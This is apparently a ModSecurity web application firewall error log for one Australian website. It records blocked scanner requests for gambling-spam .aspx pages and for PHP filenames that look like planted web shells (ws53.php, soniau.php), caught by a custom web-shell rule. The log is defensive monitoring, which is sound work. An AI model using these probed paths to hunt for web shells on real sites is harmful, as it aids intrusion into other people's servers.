[Mon Feb 02 19:55:44.194632 2026] [:error] [pid 63032:tid 63082] [client 193.70.46.175:48664] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aYCQwHyEQ1PkpebvdRjeWQAAABM"]
[Mon Feb 02 19:55:46.703194 2026] [:error] [pid 57080:tid 57108] [client 193.70.46.175:48668] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aYCQwo9Utn0ZlfnF10NVRQAAAtU"]
[Mon Feb 02 19:55:49.202208 2026] [:error] [pid 63032:tid 63083] [client 193.70.46.175:48682] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aYCQxXyEQ1PkpebvdRjeYAAAABQ"]
[Mon Feb 02 19:55:51.841656 2026] [:error] [pid 63153:tid 63163] [client 193.70.46.175:48684] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aYCQx3C9GXHnmLkdgdl_igAAAMI"]
[Mon Feb 02 19:55:54.491030 2026] [:error] [pid 63034:tid 63137] [client 193.70.46.175:38738] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aYCQyuKXlgw75_wfbHrW_wAAAJM"]
[Mon Feb 02 19:55:56.977318 2026] [:error] [pid 56989:tid 57009] [client 193.70.46.175:38740] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aYCQzEp44HnChN-GZlgHvQAAAhI"]
[Mon Feb 02 19:55:59.482760 2026] [:error] [pid 57021:tid 57034] [client 193.70.46.175:38744] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aYCQz_7AEpx7VcmYK3H37wAAAkk"]
[Mon Feb 02 19:56:01.998824 2026] [:error] [pid 63032:tid 63069] [client 193.70.46.175:38748] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aYCQ0XyEQ1PkpebvdRjeawAAAAY"]
[Mon Feb 02 19:56:04.541316 2026] [:error] [pid 46008:tid 46011] [client 193.70.46.175:33754] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aYCQ1CRa52iYn7SlSMmeSwAAAUE"]
[Mon Feb 02 19:56:07.068061 2026] [:error] [pid 57022:tid 57060] [client 193.70.46.175:33756] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aYCQ1xnEgLMzfcurxflHFgAAAog"]
[Mon Feb 02 19:56:09.717575 2026] [:error] [pid 57022:tid 57054] [client 193.70.46.175:33768] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aYCQ2RnEgLMzfcurxflHGgAAAoI"]
[Mon Feb 02 19:56:12.230156 2026] [:error] [pid 57081:tid 57137] [client 193.70.46.175:33776] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aYCQ3GvouJ2Jkm6HfBg2VwAAAxY"]
[Mon Feb 02 19:56:14.898199 2026] [:error] [pid 63032:tid 63074] [client 193.70.46.175:42650] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aYCQ3nyEQ1PkpebvdRjedgAAAAs"]
[Mon Feb 02 19:56:17.251268 2026] [:error] [pid 57022:tid 57075] [client 193.70.46.175:42658] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aYCQ4RnEgLMzfcurxflHHwAAApc"]
[Mon Feb 02 19:56:19.739746 2026] [:error] [pid 63032:tid 63087] [client 193.70.46.175:42662] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aYCQ43yEQ1PkpebvdRjeeAAAABg"]
[Mon Feb 02 19:57:02.669288 2026] [:error] [pid 57022:tid 57059] [client 193.70.46.175:42664] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aYCRDhnEgLMzfcurxflHOAAAAoc"]
[Mon Feb 02 19:57:05.196723 2026] [:error] [pid 56989:tid 56993] [client 193.70.46.175:43442] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aYCREUp44HnChN-GZlgH6AAAAgI"]
[Mon Feb 02 19:57:07.827343 2026] [:error] [pid 57081:tid 57129] [client 193.70.46.175:43458] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aYCRE2vouJ2Jkm6HfBg2cAAAAw4"]
[Mon Feb 02 19:57:10.460511 2026] [:error] [pid 57080:tid 57096] [client 193.70.46.175:43470] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aYCRFo9Utn0ZlfnF10NVeAAAAsk"]
[Mon Feb 02 19:57:12.929035 2026] [:error] [pid 57022:tid 57058] [client 193.70.46.175:36018] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aYCRGBnEgLMzfcurxflHbwAAAoY"]
[Mon Feb 02 19:57:15.410633 2026] [:error] [pid 57022:tid 57054] [client 193.70.46.175:36030] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aYCRGxnEgLMzfcurxflHcwAAAoI"]
[Mon Feb 02 19:57:17.907101 2026] [:error] [pid 56989:tid 57008] [client 193.70.46.175:36044] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aYCRHUp44HnChN-GZlgH_AAAAhE"]
[Mon Feb 02 19:57:20.387965 2026] [:error] [pid 57022:tid 57059] [client 193.70.46.175:36052] [client 193.70.46.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aYCRIBnEgLMzfcurxflHdAAAAoc"]
[Mon Feb 02 20:19:05.295060 2026] [:error] [pid 46008:tid 46021] [client 20.41.98.38:36771] [client 20.41.98.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-t.api.php"] [unique_id "aYCWOSRa52iYn7SlSMmiqwAAAUo"]
[Mon Feb 02 20:19:08.688979 2026] [:error] [pid 56989:tid 57001] [client 20.41.98.38:22912] [client 20.41.98.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-t.api.php"] [unique_id "aYCWPEp44HnChN-GZlgNLwAAAgo"]
[Mon Feb 02 20:19:10.165863 2026] [:error] [pid 63032:tid 63072] [client 20.41.98.38:56800] [client 20.41.98.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-t.api.php"] [unique_id "aYCWPnyEQ1PkpebvdRjjEQAAAAk"]
[Mon Feb 02 20:19:11.601483 2026] [:error] [pid 57080:tid 57101] [client 20.41.98.38:57985] [client 20.41.98.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-t.api.php"] [unique_id "aYCWP49Utn0ZlfnF10NZYAAAAs4"]
[Mon Feb 02 20:19:13.451093 2026] [:error] [pid 57081:tid 57119] [client 20.41.98.38:58001] [client 20.41.98.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws53.php"] [unique_id "aYCWQWvouJ2Jkm6HfBg6TgAAAwQ"]
[Mon Feb 02 20:19:21.471428 2026] [:error] [pid 63032:tid 63073] [client 20.41.98.38:58945] [client 20.41.98.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws53.php"] [unique_id "aYCWSXyEQ1PkpebvdRjjJgAAAAo"]
[Mon Feb 02 20:19:22.912602 2026] [:error] [pid 33612:tid 33633] [client 20.41.98.38:61276] [client 20.41.98.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws53.php"] [unique_id "aYCWSstFn80qQEmo5QoAmwAAARM"]
[Mon Feb 02 20:19:24.413103 2026] [:error] [pid 63032:tid 63078] [client 20.41.98.38:59874] [client 20.41.98.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws53.php"] [unique_id "aYCWTHyEQ1PkpebvdRjjJwAAAA8"]
[Mon Feb 02 20:19:27.686459 2026] [:error] [pid 63153:tid 63175] [client 20.41.98.38:58031] [client 20.41.98.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/revealability.php"] [unique_id "aYCWT3C9GXHnmLkdgdmGngAAAM4"]
[Mon Feb 02 20:19:29.357879 2026] [:error] [pid 57081:tid 57121] [client 20.41.98.38:21880] [client 20.41.98.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/revealability.php"] [unique_id "aYCWUWvouJ2Jkm6HfBg6XQAAAwY"]
[Mon Feb 02 20:19:32.966167 2026] [:error] [pid 63153:tid 63171] [client 20.41.98.38:8596] [client 20.41.98.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/revealability.php"] [unique_id "aYCWVHC9GXHnmLkdgdmGpwAAAMo"]
[Mon Feb 02 20:19:37.919032 2026] [:error] [pid 63153:tid 63165] [client 20.41.98.38:21872] [client 20.41.98.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/revealability.php"] [unique_id "aYCWWXC9GXHnmLkdgdmGswAAAMQ"]
[Mon Feb 02 20:19:40.657298 2026] [:error] [pid 63032:tid 63086] [client 20.41.98.38:24733] [client 20.41.98.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/soniau.php"] [unique_id "aYCWXHyEQ1PkpebvdRjjNAAAABc"]
[Mon Feb 02 20:19:43.886685 2026] [:error] [pid 63153:tid 63163] [client 20.41.98.38:58026] [client 20.41.98.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/soniau.php"] [unique_id "aYCWX3C9GXHnmLkdgdmGvQAAAMI"]
[Mon Feb 02 20:19:47.029910 2026] [:error] [pid 57021:tid 57029] [client 20.41.98.38:24718] [client 20.41.98.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/soniau.php"] [unique_id "aYCWY_7AEpx7VcmYK3H8DgAAAkQ"]
[Mon Feb 02 20:19:55.429042 2026] [:error] [pid 63032:tid 63067] [client 20.41.98.38:24755] [client 20.41.98.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws55.php"] [unique_id "aYCWa3yEQ1PkpebvdRjjRAAAAAQ"]
[Mon Feb 02 20:19:56.459907 2026] [:error] [pid 57022:tid 57052] [client 20.41.98.38:63863] [client 20.41.98.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws55.php"] [unique_id "aYCWbBnEgLMzfcurxflKuQAAAoA"]
[Mon Feb 02 23:19:27.812410 2026] [:error] [pid 63034:tid 63140] [client 43.155.195.141:38222] [client 43.155.195.141] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aYDAf-KXlgw75_wfbHoAJQAAAJY"]
[Tue Feb 03 00:35:09.875031 2026] [:error] [pid 56989:tid 57012] [client 65.108.2.171:25108] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "aYDSPUp44HnChN-GZlhH8gAAAhU"]
[Tue Feb 03 00:35:12.446315 2026] [:error] [pid 63032:tid 63082] [client 65.108.2.171:25122] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aYDSQHyEQ1PkpebvdRgWiwAAABM"]
[Tue Feb 03 00:35:15.023403 2026] [:error] [pid 33612:tid 33626] [client 65.108.2.171:49602] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aYDSQ8tFn80qQEmo5QorFwAAAQw"]
[Tue Feb 03 00:35:17.600874 2026] [:error] [pid 33612:tid 33635] [client 65.108.2.171:49614] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aYDSRctFn80qQEmo5QorGAAAARU"]
[Tue Feb 03 00:35:20.175972 2026] [:error] [pid 63153:tid 63184] [client 65.108.2.171:49636] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aYDSSHC9GXHnmLkdgdnW5QAAANc"]
[Tue Feb 03 00:35:22.738308 2026] [:error] [pid 57021:tid 57040] [client 65.108.2.171:49654] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aYDSSv7AEpx7VcmYK3Ej5gAAAk8"]
[Tue Feb 03 00:35:25.316453 2026] [:error] [pid 57022:tid 57053] [client 65.108.2.171:26682] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aYDSTRnEgLMzfcurxflxKAAAAoE"]
[Tue Feb 03 00:35:27.883955 2026] [:error] [pid 63032:tid 63068] [client 65.108.2.171:26688] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aYDST3yEQ1PkpebvdRgWkwAAAAU"]
[Tue Feb 03 00:35:30.486942 2026] [:error] [pid 33612:tid 33636] [client 65.108.2.171:26696] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aYDSUstFn80qQEmo5QorKAAAARY"]
[Tue Feb 03 00:35:33.065490 2026] [:error] [pid 46008:tid 46013] [client 65.108.2.171:26700] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aYDSVSRa52iYn7SlSMnOmwAAAUM"]
[Tue Feb 03 00:35:35.645964 2026] [:error] [pid 56989:tid 56996] [client 65.108.2.171:56458] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aYDSV0p44HnChN-GZlhIJgAAAgU"]
[Tue Feb 03 00:35:38.086859 2026] [:error] [pid 57022:tid 57053] [client 65.108.2.171:56486] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aYDSWhnEgLMzfcurxflxMwAAAoE"]
[Tue Feb 03 00:35:40.692723 2026] [:error] [pid 56989:tid 56996] [client 65.108.2.171:56494] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aYDSXEp44HnChN-GZlhINgAAAgU"]
[Tue Feb 03 00:35:43.271903 2026] [:error] [pid 63034:tid 63136] [client 65.108.2.171:56514] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aYDSX-KXlgw75_wfbHoMFgAAAJI"]
